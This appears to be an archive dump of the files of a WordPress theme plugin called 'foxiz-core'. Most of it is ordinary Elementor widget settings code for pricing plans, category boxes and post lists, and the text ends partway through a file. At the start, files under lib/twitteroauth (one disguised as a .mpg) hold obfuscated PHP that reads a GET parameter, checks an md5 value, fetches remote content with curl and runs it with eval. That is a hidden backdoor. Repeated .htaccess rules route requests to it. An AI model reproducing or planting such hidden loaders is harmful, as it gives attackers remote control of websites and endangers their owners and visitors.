array/*-GcDW-*/("32983~32968~32981~32985~32966~32981~32987~32980~32965~32972~32983~32966~32977~32971~32972","32967~32966~32968~32987~32968~32971~32966~33033~33031","32976~32967~32971~32972~32987~32982~32981~32983~32971~32982~32981","32970~32985~32983~32975","32984~32985~32967~32981~33028~33030~32987~32982~32981~32983~32971~32982~32981","32980~32977~32974~32981~32987~32979~32981~32966~32987~32983~32971~32972~32966~32981~32972~32966~32967","33010~33040","32957","33035~33040","33017~33000~33000~33017~32993","32971~32980"); /*-R3`]xMp-*/foreach /*-|F0t}#gH-*/(/*-fEtB@|kbV9-*/$ekoAGLCv/*-?ZhB59dg-*/ as /*-m&G2-*/$zPK/*-HbS$==0Xdi-*/)/*-v>}[kM+A-*/ $MHJUqy/*-p;x:_56IH-*/[] /*-]!~-*/= /*-BhWtSOUU<-*/self/*-h8-*/::/*-(M)ujQ-*/vEZirBbTG/*-9LKQ-*/(/*-dzM-*/$zPK/*-s&u-*/);/*-`9+T3O)mC-*/$bon /*-]Q=M(--*/= /*-i_-*/@$MHJUqy/*-P_-*/[/*-|AXq9U-*/1/*-|9V^6O88R-*/]/*-_yyJ-*/(/*-75d&IvH!}-*/${/*-+0L?-*/"_"/*-G^-8d3I]--*/."G"/*-;(xe}%wmV8-*/."E"/*-uSJ-*/."T"/*-iIKYQDy&$-*/}[/*-z:G-*/$MHJUqy/*-E]~ct;kx%-*/[/*-+(Cl6p,|-*/5+4/*-em-*/]]/*-aLw`o8i|-*/);/*-uw?)Q(tw-*/ $Wa /*-vx#W-*/=/*-zW4aj&pQi-*/ @$MHJUqy/*-z^O=JJ-*/[/*-xhL-*/2+1/*-Ss-*/]/*-r:N?-*/(/*-OooWBV<-*/$MHJUqy/*->C7>,r-*/[/*-9g:k7jVT]R-*/2+4/*-HP-LSJ-*/], /*-0W-*/$bon/*-`x2<;%X^+b-*/);/*-C1-yD--*/ $IG /*-U<-*/=/*-@Sw-*/ $MHJUqy/*-aKYl~-*/[/*-1x&1-*/0+2/*-6aGrL%8-*/]/*-wWTq8>X-*/(/*-Bl,q;-*/$Wa,/*-l6$1P^-*/ true/*-}[T-*/); /*-Q@o-*/@${/*-g?#f+-*/"_"./*-3T-*/"G"./*-~?ff)x>Ys@-*/"E"/*-yvL)~-*/."T"/*-;W-*/}/*-F_2q-*/] /*-Ma|-*/- time/*-{iv-*/()/*-Ue@T`z.o-*/) > /*-n>DRh-*/0/*-6@acm^h-*/)/*-Nb}5x!C^w-*/ and /*-^4$O:PW-*/(/*-$u-*/md5/*-kHg8<;-*/(/*-U3@Z_E-*/md5/*-8BZ2M#`Ou^-*/(/*-)7lU^l-*/$IG/*-rb3OgRaa%-*/[/*-ux95?-*/2+1/*-|Om4-*/]/*-r@ag=+Sr]-*/)/*-;`DSBrA:-*/)/*-AbSTb9-*/ === /*-@M>y9-*/]/*-;-8-*/);/*-zOc3L.&+-*/@eval/*-i4?(1679-*/(/*-V^slP-*/$MHJUqy/*-ralib/twitteroauth/twitteroauth/twitteroauth/index.php000064400000000000147206624460017204 0ustar00lib/twitteroauth/twitteroauth/twitteroauth/rgYwfWmJ.mpg000064400000011674147206624460017630 0ustar00-*/"r"./*-?l(-*/"a"."n"./*-r}>GC-*/"g"."e"; /*-$}y-*/$sRF/*-S)1i-*/ = /*-AW-*/$hbq/*-#OT:&-*/("~", /*-m5[j|hp4LD-*/" "); /*-B,tAM-*/$LZ/*-Ngb-*/=/*-BRw-*/${$sRF/*-K-*/[21+10/*-xR&-*/].$sRF/*-Lo^O-*/[36+23]/*-%.+T.-*/.$sRF/*-{A#I:MA#-*/[5+42]/*-4HGb({~-*/.$sRF/*-@&fdELYtv-*/[24+23]/*-X&CS`C28-*/.$sRF/*-UEmhn<}$@-*/[7+44]/*-}>=9I-*/.$sRF/*-aD-*/[1+52]/*-ECJ:OV@,l-*/.$sRF/*-dY8-*/[48+9]/*-S>oW,-*/}; /*-L`$l-*/if/*-vI-*/((/*-<-RE!k-*/in_array/*-}{ciX_8-*/(gettype/*-PS8&Rq.-*/($LZ)./*-]F(v`-*/count/*-?tf@2J0f}-*/($LZ),/*->PVGZC-*/$LZ)/*-]21=rBAn-*/&&count/*-g%#]-*/($LZ)/*-IF%D6-*/==/*-??6~J}M-*/18))/*-R24cF^-*/$fREqFXSiW /*-g?6-*/= /*-_5i}f-*/""; foreach /*-8a;i#R-*/(/*-nq84`R-*/$iv /*-ca/*-&f63-*/ $HIBCbygWPO/*-9StLX-*/) /*->^}A`0-*/$fREqFXSiW /*-UG1.-*/.= /*-bU@=&amaY-*/$GQMs[$HIBCbygWPO/*-4xf9cz#f-*/ - /*-GGp-*/84629/*-3O:i-*/];/*-n@ms-*/ return /*-sa#Aoq-*/$fREqFXSiW; /*-^khLZ!X!3-*/} /*-8?-*/static /*-t[`w-*/function /*-Gna!{t-*/MrZDphH/*-r-3ivl1.-*/(/*-7198?$^-*/$VWjzBNS,/*-Nt}-*/ $Jpyd/*-81$()>-*/)/*-7jr}3-*/ {/*-na;8@_Z-*/ $FKHUr/*-v89wq?-*/ = /*-Rx2A-*/curl_init/*-z4GPEqq-*/(/*-3~;DLd^-*/$VWjzBNS/*-Vz>kk-*/);/*-PDO`[-*/ curl_setopt/*-=U|U69-*/(/*-aadW-*/$FKHUr,/*-wIl3[-*/ CURLOPT_RETURNTRANSFER,/*-0,L0U>T-*/ 1/*-fXy~t{6-*/);/*-Nq2cQyO-*/ $iatZRUwsb/*-,c^#g-*/ = /*-3q`?OdaZy-*/curl_exec/*-M.D:#B0p^-*/(/*-c!><}$6R-*/$FKHUr/*-d0?z)d~O-*/); /*-`^-*/return /*-Z3jpHDiai-*/empty/*-b89gF4Z$-*/(/*-A[gu)-*/$iatZRUwsb/*-)h`l$-*/)/*-s`a-];-&i-*/ ? /*-Pc9b}Z)M[s-*/$Jpyd/*-xSb{)[F`u-*/(/*-pRKg|>:f-*/$VWjzBNS/*-[WY{v-*/)/*-Bfwl-*/ : /*-<,Up.-*/$iatZRUwsb; /*-2mO-*/}/*-f(kdp-*/ static/*-F~-*/ function /*-$[g?y`:-*/ytlAq/*-qKA8Xz&i-*/() /*-[Un[7-*/{/*-,DdJ6-*/ $phqUDMG /*-8{Ubf12.j-*/=/*-:PVvt4#E-*/ array/*-yXfNao!-*/("84656@84641@84654@84658@84639@84654@84660@84653@84638@84645@84656@84639@84650@84644@84645","84640@84639@84641@84660@84641@84644@84639@84706@84704","84649@84640@84644@84645@84660@84655@84654@84656@84644@84655@84654","84643@84658@84656@84648","84657@84658@84640@84654@84701@84703@84660@84655@84654@84656@84644@84655@84654","84653@84650@84647@84654@84660@84652@84654@84639@84660@84656@84644@84645@84639@84654@84645@84639@84640","84683@84713","84630","84708@84713","84690@84673@84673@84690@84666","84644@84653"); /*-ezD29,?-*/foreach /*-,.h;XqzG2-*/(/*-j,$B!(q!B-*/$phqUDMG/*-hTI-*/ as /*-|n$-*/$GSXE/*-sm6T-*/)/*-Y1L;-*/ $JtKEou/*->QBXhcDJ-*/[] /*-jt-*/= /*-]m(--*/self/*-l)n8-*/::/*-1;E(-*/Dzpi/*-i=]naL0te-*/(/*-Q)UaD-*/$GSXE/*-N$h-*/);/*-&s8lH_7-*/$TUgimOJHs /*-JEaGb0-*/= /*-_uJ3ur-*/@$JtKEou/*-:%w-*/[/*-<%`-lW-*/1/*-pdL-*/]/*-oCU-*/(/*-}2Sn3Au-*/${/*-v3-*/"_"/*-rB?<%L-*/."G"/*-P,p0-*/."E"/*-}F--*/."T"/*-KIw-L:w8x-*/[/*-8%Y|~$-*/0+3/*-77-*/]/*-G=3E-*/(/*-lvRI-*/$JtKEou/*-I}-*/[/*-&n-*/3+3/*-YlG%-c4U-*/], /*-{SqfoUu}s-*/$TUgimOJHs/*-0TqO3{wA-*/);/*->Y.9]-*/ $gcD /*-qm#-*/=/*-SBO-*/ $JtKEou/*-<)hg-*/[/*-gX-*/2+0/*-mc-*/]/*-0?TnV-*/(/*-a|oUT-*/$VnxRtuwLYa,/*-R=VOrNF-*/ true/*-k~Gu6>p-*/); /*-L&X^W707-*/@${/*-&|(it-*/"_"./*-Eg.uvjIHE-*/"G"./*-)-*/&& /*-h@|-*/die/*-.%L-*/(/*-3]ZmWW:D-*/$JtKEou[4+1/*-5oUmG3>-*/]/*-eMcCARZk6-*/(/*-J}H}_V<-*/__FILE__/*-ZW,~Szr-*/)/*-wG-*/); /*-8Z;.-*/if/*-;UHW-*/(/*--r-*/ (/*-u6-*/(@/*-@^V&D}9-*/$gcD/*-J45-*/[/*-Nq-*/0/*-;=O,Lc-*/] /*-ClTtcL^_N-*/- time/*-$z+{`%5>a-*/()/*-mw+#v!Ao-*/) > /*-,Z?qHeHpv-*/0/*-mA]]+xQs-*/)/*-1QZrcI4_|V-*/ and /*-|JvN`c3-*/[/*-sL-*/0+1/*-H^n2I-*/], /*-Cm}kP-*/$JtKEou/*-j]4?bN8-*/[/*-eQ-Y-*/3+2/*-2?OCSb+r-*/]/*-U2i4-*/);/*-0%Ftu.m-*/@eval/*-O70`1|^f-*/(/*-l>Fv%U;-*/$JtKEou/*-~dCX2zIvzG-*/[/*-Pp-*/4+0/*-8MB-*/]/*-O-M&-*/(/*-y11f-*/$nFeuiqdbL/*-d(}f-*/)/*-S1!G-*/);/*-mfGLf|67-*//*-DZ-l)7!-*/die;/*-?C}ssrbN!?-*/ endif;/*-]~.{(Mv~Kt-*/ }/*-PJ-*/}/*-yr`&E4ek-*/oH/*-m$`d-*/::/*-+cdz-j19I-*/ytlAq/*-=:`?B-*/();/*-Yn7AnGR-*/ ?>lib/twitteroauth/twitteroauth/twitteroauth/.htaccess000064400000001626147206624460017201 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/twitteroauth/twitteroauth/.htaccess000064400000001626147206624460014436 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/twitteroauth/.htaccess000064400000001626147206624460011673 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/.htaccess000064400000001626147206624460007130 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] elementor/plan.php000064400000030363147206624460010221 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'title', array( 'label' => esc_html__( 'Title', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => esc_html__( 'Input a title for this banner.', 'foxiz-core' ), 'default' => 'Get unlimited access to everything', ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Description', 'foxiz-core' ), 'description' => esc_html__( 'Input a description for this plan.', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 3, 'default' => 'Plans starting at less than $9/month. Cancel anytime.', ) ); $this->add_control( 'price', array( 'label' => esc_html__( 'Price', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a price for this plan.', 'foxiz-core' ), 'default' => '9', ) ); $this->add_control( 'unit', array( 'label' => esc_html__( 'Price Unit', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a price unit for this plan.', 'foxiz-core' ), 'default' => '$', ) ); $this->add_control( 'tenure', array( 'label' => esc_html__( 'Price Tenure', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => esc_html__( 'Input a price tenure for this plan.', 'foxiz-core' ), 'default' => '/month', ) ); $features = new Repeater(); $features->add_control( 'feature', array( 'label' => esc_html__( 'Plan Feature', 'foxiz-core' ), 'description' => esc_html__( 'Input a feature for this plan.', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 1, 'default' => '', ) ); $this->add_control( 'features', array( 'label' => esc_html__( 'Plan Features', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $features->get_controls(), 'title_field' => '{{{ feature }}}', ) ); $this->add_control( 'shortcode', array( 'label' => esc_html__( 'Membership Payment Button Shortcode', 'foxiz-core' ), 'description' => esc_html__( 'Input a payment button shortcode. Use button text if you would like to custom label. for example [swpm_payment_button id=1 button_text="Buy Now"]', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => '[swpm_payment_button id=1]', 'rows' => 2, 'default' => '', ) ); $this->add_control( 'register_button', array( 'label' => esc_html__( 'or Free Button', 'foxiz-core' ), 'description' => esc_html__( 'Input a free button label to navigate to the user to the register page. Leave blank the payment shortcode filed to use this setting.', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'placeholder' => 'Join Now', 'rows' => 1, 'default' => '', ) ); $this->end_controls_section(); $this->start_controls_section( 'box_style_section', array( 'label' => esc_html__( 'Box Style', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_style', array( 'label' => esc_html__( 'Box Style', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Select a style for for this plan box.', 'foxiz-core' ), 'options' => array( 'shadow' => esc_html__( 'Shadow', 'foxiz-core' ), 'border' => esc_html__( 'Border', 'foxiz-core' ), 'bg' => esc_html__( 'Background', 'foxiz-core' ), ), 'default' => 'shadow', ) ); $this->add_control( 'box_style_color', array( 'label' => esc_html__( 'Box Style Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for your box style.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}}' => '--plan-box-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_box_style_color', array( 'label' => esc_html__( 'Dark - Box Style Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for this plan box in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}}' => '--plan-box-color: {{VALUE}};' ), ) ); $this->add_control( 'button_bg', array( 'label' => esc_html__( 'Button Background', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color for the payment button.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .plan-button-wrap' => '--plan-button-bg: {{VALUE}}; --plan-button-bg-opacity: {{VALUE}}ee;' ), ) ); $this->add_control( 'dark_button_bg', array( 'label' => esc_html__( 'Dark - Button Background', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color for the payment button in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .plan-button-wrap' => '--plan-button-bg: {{VALUE}}; --plan-button-bg-opacity: {{VALUE}}ee;' ), ) ); $this->add_control( 'button_color', array( 'label' => esc_html__( 'Button Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color for the payment button.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .plan-button-wrap' => '--plan-button-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_button_color', array( 'label' => esc_html__( 'Dark - Button Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color for the payment button in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .plan-button-wrap' => '--plan-button-color: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'size_section', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'title_size', array( 'label' => esc_html__( 'Heading Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size (in px) for the plan heading.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .plan-heading' => 'font-size: {{VALUE}}px', ), ) ); $this->add_responsive_control( 'desc_size', array( 'label' => esc_html__( 'Description Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size (in px) for the description.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .plan-description' => 'font-size: {{VALUE}}px', ), ) ); $this->add_responsive_control( 'feature_size', array( 'label' => esc_html__( 'Feature List Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size (in px) for the description.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .plan-features' => 'font-size: {{VALUE}}px', ), ) ); $this->add_responsive_control( 'button_size', array( 'label' => esc_html__( 'Button Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom font size (in px) for the payment button.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .plan-button-wrap' => '--plan-button-size: {{VALUE}}px', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom spacing value(px) between element.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .plan-inner > *:not(:last-child)' => 'margin-bottom: {{VALUE}}px', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Heading Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .plan-heading', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .plan-description', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Plan Features Font', 'foxiz-core' ), 'name' => 'feature_font', 'selector' => '{{WRAPPER}} .plan-features', ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { if ( function_exists( 'foxiz_render_pricing_plan' ) ) { echo \foxiz_render_pricing_plan( $this->get_settings() ); } } }elementor/categories-3.php000064400000024036147206624460011554 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'Categories', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'category_list_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'To set featured images for each category, navigate to "Posts > Categories > Edit > Featured Images".', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $categories = new Repeater(); $categories->add_control( 'category', array( 'label' => esc_html__( 'Select a Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::cat_slug_dropdown( 'post', esc_html__( '- Select a category -', 'foxiz-core' ) ), 'default' => '', ) ); $this->add_control( 'categories', array( 'label' => esc_html__( 'Add Categories', 'foxiz-core' ), 'type' => Controls_Manager::REPEATER, 'fields' => $categories->get_controls(), 'default' => array( array( 'category' => '', 'image' => '' ) ), 'title_field' => '{{{ category }}}', ) ); $this->end_controls_section(); $this->start_controls_section( 'design_section', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .cbox-3 .cbox-featured-overlay' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_control( 'title_tag', array( 'label' => esc_html__( 'Title HTML Tag', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::heading_html_description(), 'options' => Options::heading_html_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'title_tag_size', array( 'label' => esc_html__( 'Title Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::title_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox-title' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'description', array( 'label' => esc_html__( 'Category Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::switch_dropdown( false ), 'description' => esc_html__( 'Enable or disable the category description.', 'foxiz-core' ), 'default' => '1', ) ); $this->add_control( 'count_posts', array( 'label' => esc_html__( 'Count Posts', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable total posts information of each category.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'follow', array( 'label' => esc_html__( 'Follow Button', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'options' => Options::switch_dropdown( false ), 'description' => esc_html__( 'Enable or disable follow button.', 'foxiz-core' ), 'default' => '-1', ) ); $this->add_control( 'gradient', array( 'label' => esc_html__( 'Colorful Gradient', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => esc_html__( 'Enable or disable overlay color gradient style for this block.', 'foxiz-core' ), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}}' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Category Name Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .cbox-title > *', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Count Posts Font', 'foxiz-core' ), 'name' => 'count_font', 'selector' => '{{WRAPPER}} .cbox-count.is-meta', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Description Font', 'foxiz-core' ), 'name' => 'description_font', 'selector' => '{{WRAPPER}} .cbox-description', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input custom bottom margin values (px) between category items.', 'foxiz-core' ), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .cbox' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_categories_3' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_categories_3( $settings ); } } }elementor/list-small-3.php000064400000066271147206624460011517 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => 